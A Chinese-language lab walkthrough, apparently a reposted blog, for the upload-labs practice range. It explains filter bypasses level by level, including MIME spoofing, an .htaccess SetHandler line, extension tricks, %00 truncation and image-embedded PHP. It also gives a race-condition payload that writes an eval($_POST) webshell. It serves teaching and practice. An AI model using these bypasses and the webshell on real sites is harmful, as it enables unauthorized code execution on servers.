upload通關手冊


upload-labs通關

0x00 前言

這段時間一直在忙,沒時間來更新文章,這里就寫篇upload-labs的通關手冊吧,現在包括網上也有很多upload通關手冊,但是在這里還是想自己去寫一篇,來做個自我總結。在做靶場當中也參考了網上的文章。

0x01 pass-01-10

第一關

來到第一關卡,選擇,把burp開啟抓包。點擊上傳會發現,直接就彈框不允許上傳了。

那么基本可以判斷這是個前端校驗的。此時有三種辦法,

(1)、審查元素刪除過濾函數

(2)、直接禁用js

(3)、先上傳jpg文件然后抓包重命名

這里就直接來禁用js文件繞過。

上傳成功。

第二關

查看源代碼

$_FILES["file"]["name"] - 上傳文件的名稱
$_FILES["file"]["type"] - 上傳文件的類型
$_FILES["file"]["size"] - 上傳文件的大小,以字節計
$_FILES["file"]["tmp_name"] - 存儲在服務器的文件的臨時副本的名稱
$_FILES["file"]["error"] - 由文件上傳導致的錯誤代碼

這里獲取了上傳文件的類型,如果類型等於image/jpeg、image/png、image/gif就可以上傳成功。

可以直接修改mime類型來繞過。

burp抓包,修改content-type的類型為image/gif

成功繞過。

第三關

file_exists() 函數檢查文件或目錄是否存在。

trim() :函數移除字符串兩側的空白字符或其他預定義字符。

deldot():移除末尾的點

strrchr() 函數查找字符在指定字符串中從后面開始的第一次出現的位置,如果成功,則返回從該位置到字符串結尾的所有字符,如果失敗,則返回 false。與之相對應的是strstr()函數,它查找字符串中首次出現指定字符的位置

strtolower:轉化為小寫

這里定義了一個數組,黑名單的數組,並且去除了末尾的點和空格、::$data等字符,且匹配了后綴名。

這里還可以使用到一些過濾不全去繞過,上傳php3或者是phtml一樣能被當做php來識別,當然這個得看apache的解析設置。

抓包改名為php3,點擊forword

上傳成功,成功被識別。

第四關

由於后面的關卡和前面的代碼大致一樣就不一一解釋了。

第四關卡把能禁用的都給禁用掉了,但是唯獨沒有禁用掉.htaccess 文件我們可以上傳.htaccess文件,然后再去上傳圖片馬。

.htacess 內容如下:

SetHandler application/x-httpd-php

成功繞過上傳限制。

第五關

這里比上一關少了一個轉換成小寫,我們就可以利用到大小寫去對他進行繞過。

windwos對大小寫不敏感,無論大小寫都能識別,而linux則相反。

上傳成功,下一關

第六關

這一關和前面的都差不多,去除了點號和::$data 但是缺少去除空格的函數。

我們可以加個空格來繞過他的限制,在windows里面后綴的空格會自動過濾掉。

這里后綴后面加了個空格,成功繞過

第七關

這里沒有去除后綴后面的點,我們可以利用到windows 后綴加點號自動過濾掉的這個特性來繞過限制。

成功繞過。

第八關

代碼里面去除了點號空格,但是這關確漏掉了::$data,我們就可以利用到windwos文件流特性去繞過文件上傳限制。利用的是NTFS文件系統的一個特性,NTFS存儲數據流的一個屬性,當我們這樣去訪問的時候,其實我們請求的,它就會被認為是phpinfo.php本身的數據

上傳完成后,去除::$data 直接訪問xx.php文件解析成功

第九關

第九關這個地方去除去除了大部分的東西,前面用到的點號和空格都被過濾了,但是這里還是有辦法繞過去,我們可以多加幾個空格和點 ,代碼里面的只過濾一次。

添加完成后發包過去就可以看到上傳成功。

訪問,解析成功。

第十關

在第十關代碼和前面的不大一樣,我們來審計一下代碼

這里定義了一個array數組,黑名單的數組,如果匹配到接收過來的后綴等於定義數組里面的內容就替換為空。

代碼如下:

 $file_name = str_ireplace($deny_ext,"", $file_name);

str_ireplace 是個替換的函數

我們嘗試直接上傳個phpinfo 。

這里能直接上傳成功,但是后綴被替換為空了,因為這些代碼都是只過濾一次,我們可以使用到雙寫來繞過。

第十一關

這里的代碼寫的是白名單,只允許上傳jpg等圖片格式的文件,在我們前面用到的黑名單都不能使用了。

但是我們還可以利用到00截斷來對他進行繞過。

在url中%00表示ascll碼中的0 ,而ascii中0作為特殊字符保留,表示字符串結束,所以當url中出現%00時就會認為讀取已結束。

使用burp抓包后,發現他的目錄是可控的,我們可以直接從目錄那里對他進行截斷

發送 訪問

這里會訪問失敗,把php后面的東西去掉,再次訪問。

第十二關

第十二關也是一樣的白名單,先來抓個包看看

這里發現和前面不一樣的地方,就是剛剛的路徑是在url里面的,而這一個關卡的是在post包里面。

那么需要00截斷需要解碼,因為在url里面傳參會自動解碼而post里面不會。

發送

第十三關

這里的代碼定義個函數打開我們上傳的文件並且讀取我們的前面2位數。

這時候我們改文件后綴是沒用的,一樣上傳不了,可以直接加上gif89a或者是直接制作圖片馬。

copy 1.jpg/b+phpinfo.php/a 3.jpg

制作完成,直接上傳,然后還需要配合文件包含來解析。

圖片馬上傳成功,打開解析漏洞的頁面包含這張圖片。

成功執行。第十四關也是一樣的可以上傳成功,都是判斷了圖片的完整性

第十五關

這里使用的

exif_imagetype() 讀取一個圖像的第一個字節並檢查其簽名。

定義有以下常量,並代表了 exif_imagetype() 可能的返回值:

1	IMAGETYPE_GIF
2	IMAGETYPE_JPEG
3	IMAGETYPE_PNG 

上傳圖片馬,配合文件包含漏洞,成功解析

這幾關里面,唯一不同的就是驗證圖片的方式和函數不一樣。

第十六關

這里的驗證比前面的多了不是,獲取了名字和mime類型,

然后進行校驗,驗證完成后才進行二次渲染

第十六關,使用了gd庫對圖片做了二次渲染。

那么我們先來上傳一個普通的圖片馬看看。

上傳完成后使用包含,報錯了。

我們來下載這張圖片然后對他進行查看。

用010editot打開發現我們后面加上的phpinfo();已經被刷掉了。

那么我們可以使用16進制對比工具來看 原圖和渲染后的圖,哪個地方沒用被gd給處理過,從gd庫沒處理的地方插入paylaod。

顯示藍色的是未被gd庫未被渲染的地方

關於二次渲染可以參考先知論壇大佬的文章,很詳細。

https://xz.aliyun.com/t/2657

第十七關

move_uploaded_file() 函數將上傳的文件移動到新位置。
若成功,則返回 true,否則返回 false。
rename() 函數重命名文件或目錄。

這里先是把文件用move_uploaded_file()函數移動到了上傳的目錄下面,如果不是白名單,再使用unlink函數將文件刪除。

那么我們可以上傳寫入木馬的代碼

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]) ?>'); ?>

截取上傳數據包,發送到intrude模塊,持續發送,另外開一個持續訪問上傳的目錄。

等到響應200 的時候木馬就寫入成功了。

然后瀏覽器訪問shell.php

訪問成功,這時候就可以拿一句話去連接了

這里的條件競爭條件是文件未被重命名。

0x02 結尾

這里就把大致的方法都總結了一遍,當然還確實了一些各種的解析漏洞和文件包含的東西,都會配合到文件上傳漏洞來使用,在一些cms爆出后台getshell漏洞時候也可以getshell ,比如配置插馬,備份數據庫拿shelll 。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM